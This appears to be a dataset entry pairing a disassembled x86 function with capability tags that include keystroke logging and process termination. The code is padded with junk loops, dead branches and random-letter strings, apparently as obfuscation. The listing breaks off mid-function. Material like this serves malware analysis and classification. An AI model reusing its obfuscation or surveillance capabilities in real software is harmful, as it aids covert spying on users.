Function at 0x10003cf9
Capabilities:
Allocate thread local storage
Create pipe
Get disk information
Get geographical location
Log keystrokes
Terminate process

Disassembly:
mov eax, 0x10059e51
call fcn.10059860
sub esp, 0x2f8
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x40], 0x362f
xor ebx, ebx
mov dword [ebp - 0x9c], edx
push edi
inc esi
mov dword [ebp - 0x10], esp
cmp dword [ebp - 0x40], 0x3810
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x144], ebx
jle 0x10003da7
mov edi, ebx
mov dword [ebp - 0x38], edi
mov eax, ebx
mov dword [ebp - 0x2c], ebx
mov edx, edi
mov ecx, eax
shl edx, cl
mov edi, ebx
mov dword [ebp - 0x3c], edx
mov eax, edx
lea ecx, [ebp - 0x1f4]
and eax, edi
cdq
push edx
push eax
call fcn.10003ca8
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10003d64
mov eax, dword [eax]
push eax
call fcn.100430bc
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x1f4]
call fcn.10001f32
mov edx, dword [ebp - 0x3c]
inc edi
cmp edi, 0x3999
jl 0x10003d48
mov eax, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x4118
jl 0x10003d3d
inc edi
mov dword [ebp - 0x38], edi
cmp edi, 0x388b
jl 0x10003d38
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
cmp dword [ebp - 0x40], 0x3425
jge 0x10003dbb
push str.mxad_aculfqxzw_suwzjp_cvyettji_qqzekuzw_guardn_eqibmtpr_bssmbsz_glntrfjjb_dnlzibq_yabhqal_qnsq_rsglqqm
call fcn.100430bc
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c], 0x24a8c6a5
mov dword [ebp - 0x28], 0x1936
cmp dword [ebp - 0x28], 0xc37
jge 0x10003ec0
lea eax, [ebp - 0x84]
mov ecx, 0x10076018
push eax
call fcn.1000526f
mov dword [ebp - 0x38], esi
mov esi, dword [ebp - 0x84]
jmp 0x10003eb1
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov ecx, 0x10076018
push eax
dec esi
mov dword [ebp - 0x28], edi
call fcn.1000526f
mov eax, dword [ebp - 0x7c]
test eax, eax
jle 0x10003e33
lea edi, [ebp - 0x304]
mov ebx, eax
push edi
mov ecx, 0x10076018
call fcn.1000526f
add edi, 4
dec ebx
jne 0x10003e1f
mov edi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x7c]
mov eax, ebx
dec ecx
mov dword [ebp - 0x28], ecx
test ecx, ecx
mov ecx, dword [ebp - 0x2c]
jle 0x10003e63
mov ebx, dword [ebp - 0x28]
mov edx, dword [ebp + eax*4 - 0x300]
cmp dword [ebp + eax*4 - 0x304], edx
jge 0x10003e59
inc ecx
jmp 0x10003e5c
jle 0x10003e5c
inc edi
inc eax
cmp eax, ebx
jl 0x10003e46
xor ebx, ebx
push edi
mov edi, dword [ebp - 0x38]
mov edx, str.Case
push ecx
push ecx
push ecx
push edi
push ecx
mov ecx, 0x10075ef8
call fcn.1000350c
pop ecx
mov ecx, eax
call fcn.100053f7
mov edx, 0x10062938
mov ecx, eax
call fcn.1000350c
pop ecx
mov ecx, eax
call fcn.100053f7
mov ecx, eax
call fcn.100077f9
pop ecx
mov ecx, eax
call fcn.100053f7
push eax
call fcn.100079b0
inc edi
pop ecx
mov dword [ebp - 0x38], edi
test esi, esi
jne 0x10003df9
dec esi
mov dword [ebp - 0x84], esi
mov dword [ebp - 0x1c], ebx
jmp 0x10003ed5
cmp byte [ebp - 0x15], 0
je 0x10003ed2
push ebx
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe3
mov byte [ebp - 0x15], bl
jg 0x10003ec5
cmp byte [ebp - 0x15], 0
je 0x10003eeb
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov dword [ebp - 0x1c], 0xb26bdde0
mov dword [ebp - 0x34], 0x318d5816
mov dword [ebp - 0x1c], 0x12
jmp 0x10003f2e
mov dword [ebp - 0x2c], 0x23ed15de
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10003f28
push ebx
push 0x24e6
push 0xfb7
push 0xfcf
call dword [sym.imp.KERNEL32.dll_RaiseException]
inc dword [ebp - 0x2c]
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffb
jg 0x10003f02
push 0x6f
pop ecx
xor eax, eax
mov word [ebp - 0xc0], cx
inc eax
mov dword [ebp - 0x74], 0x33069702
push eax
lea ecx, [ebp - 0x150]
mov dword [ebp - 0x70], 0x1a021b00
mov dword [ebp - 0x6c], 0x32b0556
mov word [ebp - 0x68], 0x40e
mov byte [ebp - 0x66], 3
mov byte [ebp - 0x65], al
mov byte [ebp - 0x64], 0xd
call fcn.10001ba5
mov dword [ebp - 0x1c], 0xfffffffa
xor edx, edx
mov dword [ebp - 0x34], 0xfffffff6
inc edx
mov dword [ebp - 0x1c], ebx
jmp 0x10003f9c
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x150]
mov dword [eax + ecx*4], 0xa8ea
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10003f89
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10003fb6
push 0xcba
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 0x1c], ebx
jmp 0x10003fcf
mov dword [ebp - 0x34], 0x8876
mov dword [ebp - 0x2c], 0xfffffffe
dec dword [ebp - 0x2c]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x10003fbb
lea ecx, [ebp - 0x150]
call fcn.10001c28
push 2
pop esi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], esi
cmp esi, 0x11
jae 0x10004637
mov dword [ebp - 0x20], 0xfffffffc
xor esi, esi
mov dword [ebp - 0x1c], 0xc1188e17
inc esi
mov dword [ebp - 0x40], 0x4a60
cmp dword [ebp - 0x40], 0x4ac3
jle 0x10004077
mov edx, ebx
mov dword [ebp - 0x1c], edx
mov ecx, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov eax, edi
and eax, ecx
lea ecx, [ebp - 0x1b8]
xor eax, edx
cdq
push edx
push eax
call fcn.10003ca8
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000403c
mov eax, dword [eax]
push eax
call fcn.100430bc
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x1b8]
call fcn.10001f32
mov ecx, dword [ebp - 0x24]
inc edi
mov edx, dword [ebp - 0x1c]
cmp edi, 0x54d
jl 0x1000401e
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x4d7
jl 0x1000401c
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0x154d
jl 0x10004017
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x40], 0x47c5
jge 0x1000408e
push str.tdscloia_veay_kid_jjsiovc_kerwy_nmu_tmmfe_vqs_wqxuqpgm_lctkzywra_kwzxrwhw_bkux
call fcn.100430bc
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x20], ebx
jmp 0x1000410f
mov dword [ebp - 0x24], 0xeede0b40
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x24], ebx
jmp 0x10004106
push 4
lea ecx, [ebp - 0xe0]
call fcn.10001ba5
mov dword [ebp - 0x40], 0x7249aaed
mov dword [ebp - 0x1c], ebx
jmp 0x100040d9
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xe0]
mov dword [eax + ecx*4], 0xfffffff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100040c6
dec dword [ebp - 0x40]
xor edx, edx
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0xe0]
lea ecx, [ebp - 0xe0]
setne dl
mov dword [eax + 0xc], edx
call fcn.10001c28
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jne 0x100040ad
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 7
jge 0x1000409e
mov dword [ebp - 0x1c], ebx
jmp 0x100041b9
mov dword [ebp - 0x24], 0xcf1c
lea ecx, [ebp - 0x110]
push esi
call fcn.10001ba5
xor edx, edx
mov dword [ebp - 0x20], ebx
inc edx
jmp 0x1000414b
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x110]
mov dword [eax + ecx*4], 0x1dd2e91c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10004138
mov dword [ebp - 0x20], ebx
jmp 0x10004166
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x98], 0xffffffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10004155
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x1c]
jne 0x10004178
cmp dword [ebp - 0x24], ebx
je 0x1000417b
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x38], ebx
jne 0x10004197
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x110]
lea ecx, [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x28], eax
call fcn.10001c28
inc dword [ebp - 0x1c]
push 1
pop esi
cmp dword [ebp - 0x1c], 0xb
jl 0x1000411d
movzx eax, byte [ebp - 0x74]
mov esi, dword [ebp - 0x30]
push 4
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x10004361
movzx edi, byte [ebp + esi - 0x74]
lea ecx, [ebp - 0xec]
mov dword [ebp - 0x20], 0x666a756a
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x1c], 0x9ba095a9
lea eax, [edi + 1]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], eax
call fcn.10001ba5
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x10004224
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xec]
mov dword [eax + ecx*4], 0xffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10004211
xor edx, edx
mov eax, ebx
inc edx
cmp dword [ebp - 0x20], ebx
je 0x10004236
mov eax, edx
cmp edx, eax
mov eax, 0x7c20
sbb ecx, ecx
neg ecx
sub eax, ecx
jne 0x10004252
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jne 0x10004252
mov edx, ebx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
test eax, eax
sets cl
xor edx, edx
imul ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ecx, 0x5300
setne dl
imul edx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax + 0xc], edx
imul eax, edx, 0xa4c6
add eax, dword [ebp - 0x24]
je 0x100042ae
cmp dword [ebp - 0x20], ebx
je 0x100042ae
xor esi, esi
inc esi
jmp 0x100042b0
mov esi, ebx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp esi, eax
setl cl
sub ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0x2f09
setg cl
sub ecx, dword [ebp - 0x38]
neg ecx
sbb ecx, ecx
add ecx, 0x41d00a02
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0xec]
call fcn.10001c28
mov esi, dword [ebp - 0x30]
xor ecx, ecx
dec esi
mov dword [ebp - 0x1c], ebx
add esi, edi
inc ecx
jmp 0x10004317
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x88], 0xe0bc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10004306
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1000433e
push ebx
push 0x24e6
push 0xfb7
push 0xfcf
call dword [sym.imp.KERNEL32.dll_RaiseException]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1000462f
push ecx
push 0x13f3
push 0x1a6a
call dword [sym.imp.USER32.dll_AttachThreadInput]
jmp 0x1000462f
mov dword [ebp - 0x20], 0xfffffff7
lea ecx, [ebp - 0x104]
call fcn.10001ba5
mov dword [ebp - 4], 4
mov dword [ebp - 0x24], 0x65f8
cmp dword [ebp - 0x24], 0x69c3
jle 0x100043e9
mov dword [ebp - 0x1c], ebx
mov eax, ebx
mov dword [ebp - 0x40], 0x7d9d
mov dword [ebp - 0x38], eax
mov esi, ebx
cdq
mov edi, ebx
idiv esi
mov ebx, edx
mov ecx, edi
mov eax, ebx
shl eax, cl
mov ecx, 0x10075ef8
cdq
push edx
push eax
call fcn.10001a90
inc edi
cmp edi, 0x7287
jl 0x100043a2
mov eax, dword [ebp - 0x38]
inc esi
push 0
pop ebx
cmp esi, 0x2cc1
jl 0x1000439b
mov edi, dword [ebp - 0x1c]
add eax, edi
dec dword [ebp - 0x40]
mov dword [ebp - 0x38], eax
jne 0x10004399
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x73f1
jl 0x1000438d
mov esi, dword [ebp - 0x30]
mov dword [ebp - 0x34], 0x537c57f3
mov byte [ebp - 4], 5
cmp dword [ebp - 0x24], 0x6574
jge 0x1000442d
mov edx, str.etogfrdu_agkgvm_etugt_teqmb_ywxq_czpbt_ovzubaszu_ogaveixgg
mov ecx, 0x10075ef8
call fcn.1000350c
jmp 0x1000442d
push 4
xor edx, edx
pop eax
inc edx
mov dword [ebp - 4], eax
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jge 0x1000445a
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x104]
mov dword [eax + ecx*4], 0x87df2f4a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10004441
cmp dword [ebp - 0x20], ebx
je 0x1000447e
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100045f1
push ebx
push 0x1c15
push ebx
call dword [sym.imp.ADVAPI32.dll_ControlService]
jmp 0x100045f1
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], 0x9e520c3d
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 3
jg 0x100045ee
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 3
jg 0x100045e3
mov dword [ebp - 0x1c], ebx
jmp 0x100044bb
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x58], 6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x100044ad
mov dword [ebp - 0x58], ebx
jmp 0x100044ef
mov dword [ebp - 0x28], 0xb0a11721
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp eax, edx
setg cl
mov dword [ebp - 0x28], ecx
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100044ec
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
xor edx, edx
inc edx
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], 3
jle 0x100044c5
mov dword [ebp - 0x28], 0x5d1c
cmp dword [ebp - 0x28], 0x5fc1
jle 0x10004559
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x40], 0x875
mov dword [ebp - 0x38], eax
xor eax, edi
xor eax, ecx
mov ecx, 0x10075ef8
cdq
push edx
push eax
call fcn.10001a90
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x1c]
add eax, esi
dec dword [ebp - 0x40]
mov dword [ebp - 0x38], eax
jne 0x1000451a
inc esi
cmp esi, 0x5678
jl 0x1000450e
inc edi
cmp edi, 0x2a28
jl 0x1000450c
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x52c2
jl 0x1000450a
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x3c], ebx
jl 0x10004573
cmp dword [ebp - 0x34], ebx
jne 0x10004573
mov edi, ebx
jmp 0x10004578
xor esi, esi
lea edi, [esi + 1]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov esi, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x104]
cmp dword [ecx + eax*4], edi
sete dl
xor eax, eax
cmp edx, dword [ecx + esi*4]
setle al
mov dword [ebp - 0x38], eax
mov byte [ebp - 4], 7
cmp dword [ebp - 0x28], 0x5b63
jge 0x100045d1
mov edx, str.wfduim_fdn_xuswr_rnvecf_ami_iotehfi
mov ecx, 0x10075ef8
call fcn.1000350c
jmp 0x100045d1
xor edx, edx
mov dword [ebp - 4], 4
inc edx
inc dword [ebp - 0x24]
jmp 0x1000449e
mov eax, dword [ebp - 0x20]
inc dword [ebp - 0x20]
jmp 0x1000448e
mov esi, dword [ebp - 0x30]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x104]
call fcn.10001c28
movzx edx, byte [ebp + esi - 0x73]
mov eax, esi
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], ebx
movzx eax, byte [ebp + eax - 0x76]
movzx eax, word [ebp + eax*2 - 0xc4]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x74]
mov word [ebp + eax*2 - 0xc4], cx
add esi, 2
jmp 0x10003fe5
push dword [ebp - 0x88]
movdqa xmm0, xmmword [0x10068620]
lea ecx, [ebp - 0x94]
xor eax, eax
mov dword [ebp - 0x94], ebx
mov word [ebp - 0xb6], ax
lea eax, [ebp - 0x190]
push eax
lea eax, [ebp - 0x1a0]
mov dword [ebp - 0x20], 0x8a61928c
push eax
mov dword [ebp - 0x1c], 0xfffffff7
push ebx
movdqu xmmword [ebp - 0x1a0], xmm0
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], ebx
call fcn.10003a4f
mov dword [ebp - 4], 9
xor esi, esi
mov dword [ebp - 0x34], 0x76270e7a
inc esi
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x3c], 0x58ce
cmp dword [ebp - 0x3c], 0x58df
jle 0x10004700
mov edi, ebx
mov eax, ebx
mov dword [ebp - 0x28], ebx
add eax, edi
lea ecx, [ebp - 0x1d0]
cdq
push edx
push eax
call fcn.10003ca8
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100046d5
mov eax, dword [eax]
push eax
call fcn.100430bc
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x1d0]
call fcn.10001f32
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x462c
jl 0x100046bb
inc edi
cmp edi, 0x4334
jl 0x100046b6
mov dword [ebp - 0x20], ebx
jmp 0x10004718
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10004715
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff5
jg 0x10004705
cmp dword [ebp - 0x3c], 0x5612
jge 0x10004732
push str.oxl_hmiqoagmp_ezkhfw_mgq_kfpy_qkhxlohwn_taoqc
call fcn.100430bc
pop ecx
cmp dword [ebp - 0x20], ebx
jne 0x1000473a
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, 0xfffffff9
mov eax, dword [ebp - 0x1c]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setg cl
xor edx, edx
cmp eax, ecx
lea ecx, [ebp - 0x94]
setg dl
sub edx, dword [ebp - 0x20]
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x94]
mov dword [eax], edx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], 0x4ae9822c
or dword [ebp - 4], 0xffffffff
call fcn.10001c28
xor eax, eax
mov dword [ebp - 0x12c], 7
mov word [ebp - 0x140], ax
lea ecx, [ebp - 0x140]
lea eax, [ebp - 0xc4]
mov dword [ebp - 0x130], ebx
push eax
call fcn.100057a8
push dword [ebp - 0x9c]
mov dword [ebp - 4], 0xd
lea edi, [ebp - 0xc4]
xor eax, eax
lea ecx, [ebp - 0x190]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.10005509
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x30], 0x304b
mov dword [ebp - 0x24], 0xa66e58d0
mov dword [ebp - 0x34], 0x489be67e
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jne 0x1000481b
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
neg eax
cmp dword [ebp - 0x30], eax
jg 0x1000481b
mov edx, ebx
jmp 0x1000481e
xor edx, edx
inc edx
cmp dword [ebp - 0x30], 0xb3b9da4d
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
setg cl
add ecx, dword [ebp - 0x30]
cmp ecx, 0x3245
jl 0x100048d2
mov dword [ebp - 0x2c], 0x2c92
cmp dword [ebp - 0x2c], 0x2cd9
jle 0x100048a1
xor esi, esi
mov edi, ebx
inc esi
mov eax, ebx
mov dword [ebp - 0x3c], 0xe26
mov dword [ebp - 0x28], eax
cdq
lea ecx, [ebp - 0x224]
push edx
push eax
call fcn.10003ca8
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10004877
mov eax, dword [eax]
push eax
call fcn.100430bc
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x224]
call fcn.10001f32
mov eax, dword [ebp - 0x28]
add eax, edi
dec dword [ebp - 0x3c]
mov dword [ebp - 0x28], eax
jne 0x1000485f
inc edi
cmp edi, 0x6ed2
jl 0x10004853
mov byte [ebp - 0x15], bl
cmp dword [ebp - 0x2c], 0x2ab0
jge 0x100048b8
push str.owh_bibovqyov_hrhpkq_lgelrdz_lxfimqh_ddabuzm_ssfwwb_nskun_zwhki
call fcn.100430bc
pop ecx
mov dword [ebp - 4], 0xe
cmp byte [ebp - 0x15], 0
je 0x1000492c
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
jmp 0x1000492c
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x78], 0xd1d2a6f9
push 5
pop eax
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0x34], ebx
je 0x10004921
cmp dword [ebp - 0x30], ebx
jne 0x1000490b
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0xd0]
imul eax, dword [ebp - 0xd0]
test eax, eax
je 0x10004921
xor eax, eax
inc eax
jmp 0x10004923
mov eax, ebx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1000495b
push ebx
push 0x2057
push 0x1a12
push 0xfb6
push 0x2165
push 0x2663
push 0x1a3a
push ebx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [ebp - 0x34], 0xffffffff
lea ecx, [ebp - 0x128]
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], ebx
push 3
call fcn.10001ba5
mov dword [ebp - 0x28], 0xfffffff6
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x20], ebx
jmp 0x100049a0
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x234], 0xffffffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1000498f
mov dword [ebp - 0x20], ebx
jmp 0x100049be
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x128]
mov dword [eax + ecx*4], 0x4eea
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x100049ab
inc dword [ebp - 0x28]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100049e8
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0x80f
push ebx
call edi
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
lea ecx, [ebp - 0x128]
call fcn.10001c28
push 0x5c
pop eax
push 2
mov byte [ebp - 0x44], bl
mov ecx, ebx
mov word [ebp - 0x43], 0x15d
mov byte [ebp - 0x41], 0x39
mov word [ebp - 0x50], ax
pop esi
cmp esi, 2
jne 0x10004a15
push esi
pop ecx
jmp 0x10004a3e
movzx edx, byte [ebp + esi - 0x43]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x46]
movzx ecx, word [ebp + eax*2 - 0x50]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x44]
add ecx, edx
mov word [ebp + eax*2 - 0x50], cx
mov ecx, ebx
add esi, 2
cmp esi, 4
jb 0x10004a0c
xor eax, eax
mov word [ebp - 0x4e], ax
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x30], 0xffffffee
cmp dword [ebp - 0x30], 0xfffffff2
je 0x10004b96
mov dword [ebp - 0x1c], 0xaa9ac70c
mov dword [ebp - 0x34], 0xb6084edc
mov dword [ebp - 0x38], 0x2d8a
cmp dword [ebp - 0x38], 0x2f80
jle 0x10004adc
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], 0x45ca
mov edi, ebx
mov esi, ebx
mov ebx, dword [ebp - 0x2c]
lea ecx, [esi + edi]
mov eax, ebx
sar eax, cl
mov ecx, 0x10075ef8
cdq
push edx
push eax
call fcn.10001a90
inc esi
cmp esi, 0x186d
jl 0x10004a9c
inc edi
push 0
pop ebx
cmp edi, 0x207b
jl 0x10004a97
mov esi, dword [ebp - 0x3c]
add dword [ebp - 0x2c], esi
dec dword [ebp - 0x28]
jne 0x10004a95
inc esi
mov dword [ebp - 0x3c], esi
cmp esi, 0x4887
jl 0x10004a8b
mov dword [ebp - 0x1c], ebx
jmp 0x10004b47
mov dword [ebp - 0x2c], 0xfffffff6
mov dword [ebp - 0x34], 0xdad816f9
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
neg esi
sbb esi, esi
imul ecx, dword [ebp - 0x30], 0x7863
mov eax, dword [ebp - 0x2c]
xor edx, edx
neg esi
cmp ecx, eax
setg dl
imul eax, edx, 0xd3b0
inc eax
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xa05d
setne cl
xor eax, eax
cmp esi, ecx
sete al
cmp eax, 0x270e7ad5
je 0x10004b39
cmp dword [ebp - 0x1c], ebx
jne 0x10004b39
mov ecx, ebx
jmp 0x10004b3c
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x2c]
add eax, ecx
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff6
jle 0x10004ae1
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x38], 0x29e9
jge 0x10004b87
mov edx, str.dmpez_gpfzflf_erfcedu_fbdiroh_rknng_brbaazvo_nbtisizyf_cgwhi_vstxr_djnyil_jpiurtos_bfd_tyotxq
mov ecx, 0x10075ef8
call fcn.1000350c
jmp 0x10004b87
mov dword [ebp - 4], 0xe
inc dword [ebp - 0x30]
jmp 0x10004a5a
xor eax, eax
mov dword [ebp - 0xa0], 7
mov word [ebp - 0xb4], ax
lea ecx, [ebp - 0xb4]
lea eax, [ebp - 0x50]
mov dword [ebp - 0xa4], ebx
push eax
call fcn.100057a8
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x20], 0x7d49
mov dword [ebp - 0x28], 0x730
mov dword [ebp - 0x34], 0xfffffffd
cmp dword [ebp - 0x20], ebx
jge 0x10004cb4
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0x31
je 0x10004d23
mov dword [ebp - 0x2c], 0x7828
cmp dword [ebp - 0x2c], 0x797a
jle 0x10004c7a
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov esi, ebx
mov dword [ebp - 0x3c], ebx
mov ecx, esi
mov dword [ebp - 0x28], 0x15b6
